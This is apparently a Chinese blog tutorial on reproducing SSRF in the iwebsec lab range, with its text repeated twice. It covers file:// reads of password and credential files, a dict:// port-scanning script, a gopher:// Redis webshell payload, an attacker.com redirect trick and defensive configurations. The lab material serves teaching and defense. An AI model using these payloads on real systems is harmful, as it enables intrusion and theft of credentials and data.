从零构建SSRF实战能力iwebsec靶场深度通关指南第一次听说SSRF这个词时我正盯着服务器日志里那些奇怪的本地请求发呆。作为刚转行安全的开发人员那些来自127.0.0.1的神秘访问像是一串摩斯密码直到在iwebsec靶场亲手复现了整个攻击链条才真正理解这个来自内部的敌人有多危险。本文将带你用开发者的视角在实战中拆解SSRF的每一块骨骼。1. 环境搭建与漏洞认知在虚拟机中安装好iwebsec靶场后建议使用Ubuntu 20.04 LTS访问http://localhost:8000/vuln/ssrf会看到一个简单的文件查看界面。这个看似无害的功能正是SSRF的经典温床——服务端请求伪造(Server-Side Request Forgery)。关键危险函数识别$curlobj curl_init($_GET[url]); // 直接使用用户输入的URL初始化CURL curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, true); // 自动跟随重定向 curl_exec($curlobj); // 执行请求这三个函数的组合就像给攻击者发了张万能通行证。现代Web应用中常见的危险函数还包括函数风险场景典型防护方案file_get_contents()读取本地敏感文件禁用file协议fsockopen()建立任意TCP连接白名单校验HttpClient.execute()Java生态中的SSRF入口启用URL校验提示在PHP环境中可以通过ini_set(allow_url_fopen, off)禁用危险协议但这只是防御的起点。2. 协议利用实战三部曲2.1 file协议系统文件的任意门在靶场URL参数中输入file:///etc/passwd瞬间看到了系统的用户列表。这种基础利用暴露了两个问题服务器未过滤特殊协议Web服务进程拥有过高权限进阶利用技巧尝试file:///proc/self/environ读取环境变量使用file:///var/www/html/config/database.php获取数据库凭证组合路径穿越file:///../../../../etc/shadow2.2 dict协议内网端口扫描器将参数改为dict://127.0.0.1:3306如果返回MySQL版本信息说明数据库端口开放。这种无日志的扫描方式极具隐蔽性。端口探测自动化脚本import requests ports [21, 22, 3306, 6379] for port in ports: try: r requests.get(fhttp://target/ssrf?urldict://127.0.0.1:{port}, timeout3) print(fPort {port}: OPEN - {r.text[:50]}) except: print(fPort {port}: CLOSED)2.3 gopher协议通往内网的瑞士军刀当发现内网Redis服务时gopher协议就变成了致命武器。通过精心构造的Payload可以实现写入WebShellgopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a%0a%0a?php eval($_GET[cmd]);?%0a%0a%0a计划任务反弹shell# URL编码后的CRON任务 curl -v gopher://127.0.0.1:6379/_*3%0d%0a$3... # 完整Payload见下文解释3. 防御体系构建方案在真实业务中我采用分层防御策略协议层控制location /api/ { set $block_protocols ; if ($args ~* url[^:]://) { set $block_protocols Y; } if ($block_protocols Y) { return 403; } }应用层校验public boolean isValidUrl(String input) { URI uri new URI(input); if (!uri.getHost().endsWith(.trusted.com)) { return false; } if (uri.getScheme().equals(file) || uri.getScheme().equals(gopher)) { return false; } return true; }网络层隔离业务服务器部署在独立VPC出站流量默认拒绝按需开放关键服务如Redis绑定127.0.0.1并设置密码4. 企业级漏洞挖掘方法论在甲方SRC工作时我总结出SSRF的四个挖掘维度参数模糊测试收集所有接收URL的参数如avatarUrl、exportUrl使用Burp Intruder批量测试不同协议业务逻辑深挖文件导出功能中的远程模板获取第三方API回调地址校验缺失OAuth授权跳转白名单绕过协议转换漏洞GET /proxy?urlhttp://attacker.com/redirect.php HTTP/1.1其中redirect.php包含header(Location: file:///etc/passwd);DNS重绑定攻击使用短TTL域名指向内网IP利用域名解析时间差绕过校验有一次在代码审计时发现某CMS的云存储插件存在SSRF通过构造特殊URL成功访问到AWS元数据接口最终拿下整个云环境权限。这种案例让我明白SSRF从来不是孤立的漏洞而是通往核心系统的跳板。
新手也能搞懂:用iwebsec靶场复现SSRF漏洞,从file协议到gopher协议实战
发布时间:2026/5/18 14:33:19
从零构建SSRF实战能力iwebsec靶场深度通关指南第一次听说SSRF这个词时我正盯着服务器日志里那些奇怪的本地请求发呆。作为刚转行安全的开发人员那些来自127.0.0.1的神秘访问像是一串摩斯密码直到在iwebsec靶场亲手复现了整个攻击链条才真正理解这个来自内部的敌人有多危险。本文将带你用开发者的视角在实战中拆解SSRF的每一块骨骼。1. 环境搭建与漏洞认知在虚拟机中安装好iwebsec靶场后建议使用Ubuntu 20.04 LTS访问http://localhost:8000/vuln/ssrf会看到一个简单的文件查看界面。这个看似无害的功能正是SSRF的经典温床——服务端请求伪造(Server-Side Request Forgery)。关键危险函数识别$curlobj curl_init($_GET[url]); // 直接使用用户输入的URL初始化CURL curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, true); // 自动跟随重定向 curl_exec($curlobj); // 执行请求这三个函数的组合就像给攻击者发了张万能通行证。现代Web应用中常见的危险函数还包括函数风险场景典型防护方案file_get_contents()读取本地敏感文件禁用file协议fsockopen()建立任意TCP连接白名单校验HttpClient.execute()Java生态中的SSRF入口启用URL校验提示在PHP环境中可以通过ini_set(allow_url_fopen, off)禁用危险协议但这只是防御的起点。2. 协议利用实战三部曲2.1 file协议系统文件的任意门在靶场URL参数中输入file:///etc/passwd瞬间看到了系统的用户列表。这种基础利用暴露了两个问题服务器未过滤特殊协议Web服务进程拥有过高权限进阶利用技巧尝试file:///proc/self/environ读取环境变量使用file:///var/www/html/config/database.php获取数据库凭证组合路径穿越file:///../../../../etc/shadow2.2 dict协议内网端口扫描器将参数改为dict://127.0.0.1:3306如果返回MySQL版本信息说明数据库端口开放。这种无日志的扫描方式极具隐蔽性。端口探测自动化脚本import requests ports [21, 22, 3306, 6379] for port in ports: try: r requests.get(fhttp://target/ssrf?urldict://127.0.0.1:{port}, timeout3) print(fPort {port}: OPEN - {r.text[:50]}) except: print(fPort {port}: CLOSED)2.3 gopher协议通往内网的瑞士军刀当发现内网Redis服务时gopher协议就变成了致命武器。通过精心构造的Payload可以实现写入WebShellgopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a%0a%0a?php eval($_GET[cmd]);?%0a%0a%0a计划任务反弹shell# URL编码后的CRON任务 curl -v gopher://127.0.0.1:6379/_*3%0d%0a$3... # 完整Payload见下文解释3. 防御体系构建方案在真实业务中我采用分层防御策略协议层控制location /api/ { set $block_protocols ; if ($args ~* url[^:]://) { set $block_protocols Y; } if ($block_protocols Y) { return 403; } }应用层校验public boolean isValidUrl(String input) { URI uri new URI(input); if (!uri.getHost().endsWith(.trusted.com)) { return false; } if (uri.getScheme().equals(file) || uri.getScheme().equals(gopher)) { return false; } return true; }网络层隔离业务服务器部署在独立VPC出站流量默认拒绝按需开放关键服务如Redis绑定127.0.0.1并设置密码4. 企业级漏洞挖掘方法论在甲方SRC工作时我总结出SSRF的四个挖掘维度参数模糊测试收集所有接收URL的参数如avatarUrl、exportUrl使用Burp Intruder批量测试不同协议业务逻辑深挖文件导出功能中的远程模板获取第三方API回调地址校验缺失OAuth授权跳转白名单绕过协议转换漏洞GET /proxy?urlhttp://attacker.com/redirect.php HTTP/1.1其中redirect.php包含header(Location: file:///etc/passwd);DNS重绑定攻击使用短TTL域名指向内网IP利用域名解析时间差绕过校验有一次在代码审计时发现某CMS的云存储插件存在SSRF通过构造特殊URL成功访问到AWS元数据接口最终拿下整个云环境权限。这种案例让我明白SSRF从来不是孤立的漏洞而是通往核心系统的跳板。